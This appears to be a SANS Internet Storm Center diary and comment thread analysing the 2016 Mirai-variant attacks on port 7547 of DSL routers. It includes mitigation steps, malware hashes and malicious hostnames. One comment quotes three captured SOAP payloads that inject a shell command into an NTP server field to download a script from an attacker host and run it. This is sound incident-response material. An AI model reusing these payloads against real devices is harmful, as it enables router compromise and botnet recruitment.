|
[please see our updated article here for a summary of this event] UPDATE (0830 PST/1630 GMT) - Russ German Telekom is now offering a firmware update for the affected routers. Details (in German) are here: https://www.telekom.de/hilfe/geraete-zubehoer/router/speedport-w-921v/firmware-zum-speedport-w-921v. Affected user are advised to power off their router and power it on again after 30 seconds. During bootup the router should retrieve the new firmware from the Telekom servers. Help URL for Detusche Telekom Customers that are affected: https://www.telekom.de/hilfe/hilfe-bei-stoerungen/anschluss-ausfall Reviewing port 7547 scans with port 443 open results in the exclusive receipt of Zyxel SSL certificates. Be sure to read comments below as well. In particular, Austria is experiencing a strong increase in TR-069 traffic within the last 24 hours. According to Shodan, there are approximately 53,000 devices reachable on Port 7547 in Austria. Most of the traffic we currently see originates from other end-user DSL modems, a lot of it especially from Brazil. --------------------------------------------------------------------------------------------------------------- Quick Action: If you suspect that you have a vulnerable router, then reboot it, and check if port 7547 is listening after you reboot (if infected, the router will no longer listen). If you can, block port 7547 and update your firmware if there is an update available. A reboot will "clean" the router until it is infected again. But given that the host name used no longer resolved, new infections should stop until the host name is changed again. Update: Somewhat expected, but with the old host name l.ocalhost.host being taken down, the bot now uses timeserver.host and ntp.timerserver.host . Both resolve to 176.74.176.187 for now (Thanks Franceso). See the addition below for a list of hostnames observed in our honeypots. For the last couple days, attack against port 7547 have increased substantially. These scans appear to exploit a vulnerability in popular DSL routers. This issue may already have caused severe issues for German ISP Deutsche Telekom and may affect others as well (given that the US is just "waking up" from a long weekend). For Deutsche Telekom, Speedport routers appeared to be the main issue. According to Shodan, about 41 Million devices have port 7547 open. The code appears to be derived from Mirai with the additional scan for the SOAP vulnerability. Currently, honeypots see about one request every 5-10 minutes for each target IP. Thanks to James for sending us one request he intercepted (added line breaks for readability)  Couple interesting features about this request:
Unconfirmed List of vulnerable routers: Download URLs http://5.8.65.5/1 SHA256 Hashes (Files 1-7): 7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2 1 File types (again, the file names are 1,2,3,4,5,6,7 ) 1: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped Virustotal Link:
Thanks also to Gebhard and Francesco for additional links and information.
additional links:
https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/ https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/ --- |
Johannes 3838 Posts ISC Handler |
| Subscribe |
Nov 29th 2016 3 years ago |
|
Looks like German Telekom is now rolling out a firmware update for the affected routers. Details (in German) are here:
https://www.telekom.de/hilfe/geraete-zubehoer/router/speedport-w-921v/firmware-zum-speedport-w-921v Affected useres are advised to power off their router and power it on again after 30 seconds. During bootup the router should retrieve the new firmware from the Telekom servers. |
rakoenig 1 Posts |
| Quote |
Nov 28th 2016 3 years ago |
|
Any hash info of the Bot can share ? Thanks!!!
|
rakoenig 1 Posts |
| Quote |
Nov 28th 2016 3 years ago |
|
Looking further to the maybe available file on the host, you can download the following binaries :
1: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped SHA256 : 7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2 1 2: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped SHA256 : 7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2 2 3: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped SHA256 : 1fce697993690d41f75e0e6ed522df49d73a038f7e02733ec239c835579c40bf 3 4: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped SHA256 : 828984d1112f52f7f24bbc2b15d0f4cf2646cd03809e648f0d3121a1bdb83464 4 5: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped SHA256 : c597d3b8f61a5b49049006aff5abfe30af06d8979aaaf65454ad2691ef03943b 5 6: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped SHA256 : 046659391b36a022a48e37bd80ce2c3bd120e3fe786c204128ba32aa8d03a182 6 7: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped SHA256 : 5d4e46b3510679dc49ce295b7f448cd69e952d80ba1450f6800be074992b07cc 7 Playing further ...  |
Jean 5 Posts |
| Quote |
Nov 28th 2016 3 years ago |
|
Hi
here l.ocalhost.host resolves with 2 ip-addresses (round robin) Non-authoritative answer: Name: l.ocalhost.host Address: 5.188.232.71 Name: l.ocalhost.host Address: 212.92.127.146 Both deliver a file 1 with different sha256sums and dates: 100812 Nov 28 2016 1 (5.188.232.71) 7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2 100812 Nov 26 17:58 1 (212.92.127.146) 2548d997fcc8f32e2aa9605e730af81dc18a03b2108971147f0d305b845eb03f Best regards |
Jean 1 Posts |
| Quote |
Nov 28th 2016 3 years ago |
|
We're also experiencing a strong increase in TR-069 traffic in Austria within the last 24 hours. According to Shodan, there are approx. 53,000 devices reachable on Port 7547 in Austria. Most of the traffic we currently see originates from other end-user DSL modems, a lot of it especially from Brazil.
Just setting-up a few honeypots to collect some requests and additional data.. |
schadom 1 Posts |
| Quote |
Nov 28th 2016 3 years ago |
|
You mention names in timeserver.host (which exists) and timerserver.host (which doesn't). Typo? Or are these two domains really used?
|
bortzmeyer 1 Posts |
| Quote |
Nov 28th 2016 3 years ago |
|
I noticed this yesterday (2016-11-27), probes started coming in around 15:00 CET. At that time mostly from Brazil and UK.
https://bløgg.no/2016/11/tcp7547-on-the-rise/ |
Bjorn 9 Posts |
| Quote |
Nov 28th 2016 3 years ago |
|
It also seems it's alternating between ftp and tftp. These are the three latest attempts from my honeypot.
<?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;ftpget l.ocalhost.host z.sh ftpget.sh;chmod 777 y.sh;./y.sh`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body> </SOAP-ENV:Envelope> <?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;tftp -l y.sh -r tftp.sh -g l.ocalhost.host;chmod 777 y.sh;./y.sh`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body> </SOAP-ENV:Envelope> <?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://l.ocalhost.host/x.sh;chmod 777 x.sh;./x.sh`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
Bjorn 9 Posts |
| Quote |
Nov 28th 2016 3 years ago |
Quoting rakoenig:Looks like German Telekom is now rolling out a firmware update for the affected routers. Details (in German) are here: Even olderTelekom Routers like the Speedport W 723V Typ A and B can be updated manually if the automatic service is not available: https://www.telekom.de/hilfe/geraete-zubehoer/router/speedport-w-723v |
Max 1 Posts |
| Quote |
Nov 28th 2016 3 years ago |
|
This same attack is also using port 5555 now.
|
Johannes 3838 Posts ISC Handler |
| Quote |
Nov 29th 2016 3 years ago |
|
These domains are not resolving for me:
l.ocalhost.host p.ocalhost.host timeserver.host ntp.timerserver.host The tr069.pw domain is still resolving though, with addresses: 212.92.127.164 and 5.188.232.141 although these addresses seem to be cached because the actual lookup times out. We are using SAIX DNS servers: 196.43.54.190 and 196.43.38.190 |
Nicolas 4 Posts |
| Quote |
Nov 29th 2016 3 years ago |
|
I fear this is just the first step of the attack.
The Mirai must have known, that the routers just will break down and that the telekom will update or upgrade them. The next step will be to use this automatic update for own issues. |
xxllight 1 Posts |
| Quote |
Nov 29th 2016 3 years ago |
|
"It appears to exploit a common vulnerability in the TR-069 configuration protocol."
To clarify, this attack has nothing to do with the TR-069 (CWMP) protocol other than the fact that it uses this port, and is NOT a vulnerability with TR-069. The vulnerable routers have a bad implementation that is responding to an unrelated other web service's commands over the port that should be used only for TR-069. |
epicmelon 1 Posts |
| Quote |
Nov 29th 2016 3 years ago |
|
Did anyone happen to get a copy of the binaries? I'd like to disassemble the ARM or MIPS variant and see what it was built to do. Thanks.
|
Chad 3 Posts |
| Quote |
Nov 29th 2016 3 years ago |
|
I uploaded some binaries. The zip file is encrypted to avoid triggering anti-virus tools. The password is "infected" . isc.sans.edu/diaryimages/… (password: "infected")
|
Johannes 3838 Posts ISC Handler |
| Quote |
Nov 29th 2016 3 years ago |
Quoting Johannes:I uploaded some binaries. The zip file is encrypted to avoid triggering anti-virus tools. The password is "infected" . https://isc.sans.edu/diaryimages/miraitr069binaries.zip (password: "infected") Many thanks! Sorry for the double post above as well. If I find anything interesting I'll post it back here unless there's somewhere else I should post it. |
Chad 3 Posts |
| Quote |
Nov 29th 2016 3 years ago |
|
(I deleted the double post).
Feel free to post results here, or if you want me to post it in form of a "diary" , just send it to me via the contact form or email ( jullrich -at- sans -dot- edu ) |
Johannes 3838 Posts ISC Handler |
| Quote |
Nov 29th 2016 3 years ago |
|
It looks like the implicated SpeedPort W 921v router is not actually affected by the command injection vulnerability or even running Linux for that matter. Have a look at this: https://comsecuris.com/blog/posts/were_900k_deutsche_telekom_routers_compromised_by_mirai/
On another note however, it is interesting to see that the Mirai binaries are in fact using the default obfuscation key 0xdeadbeef and can be decoded quite easily with something like this: https://gist.github.com/VERTCraig/c3090d7f837aa374dbbe76f921847ad0 |
Johannes 1 Posts |
| Quote |
Nov 29th 2016 3 years ago |
|
Good investigation by Comsecuris. It is very much possible that (if I read the report right) the sheer volume of connections did crash the router.
|
Johannes 3838 Posts ISC Handler |
| Quote |
Nov 29th 2016 3 years ago |
|
Comsecuris investigation seems well inline with what I've seen so far.. seems more like DDoS activity. A few points of interest:
* When executed, a new application is forked/exec'd and the original binary is deleted from the target FS -> The new process has 3 threads; 1 appears to be a timer/event thread, 1 for sending/receiving socket data (more below) and the 3rd I'm not entirely sure * Within 60 seconds or so the infected host made upwards of 800 HTTP calls to port 7547 of various IPs with the payload in the original diary entry -> Of these, close to 100 hosts responded (many returning various HTTP error codes but some returning 200/OK) -> NOTE: the only reason I allowed traffic out of my network to the world is because the URL in the original diary entry and in the payload being sent out appears to now be invalid (DNS resolution fails) Based on the above info, if a mid level router were to run the agent for some time it is certainly plausible that the TCP connection tracking table could become full and/or fill up with a ton of connections leading to an unresponsive device or (if configured incorrectly) an out of memory type crash. 800+ requests/min can fill the table of most consumer firewalls quickly. Some (potentially) new information based on traces I took: * When the agent starts, a DNS lookup for host "tr069.online" occurs which currently resolves to 5.188.232.146 -> After DNS resolution, the agent opens a HTTPS connection to the above address and moves a small amount of data back and forth (probably a control/db/registration server of some sort) I have pcap files and strace data from the agent on a target if useful to anyone. |
Chad 3 Posts |
| Quote |
Nov 30th 2016 3 years ago |
Sign Up for Free or Log In to start participating in the conversation!
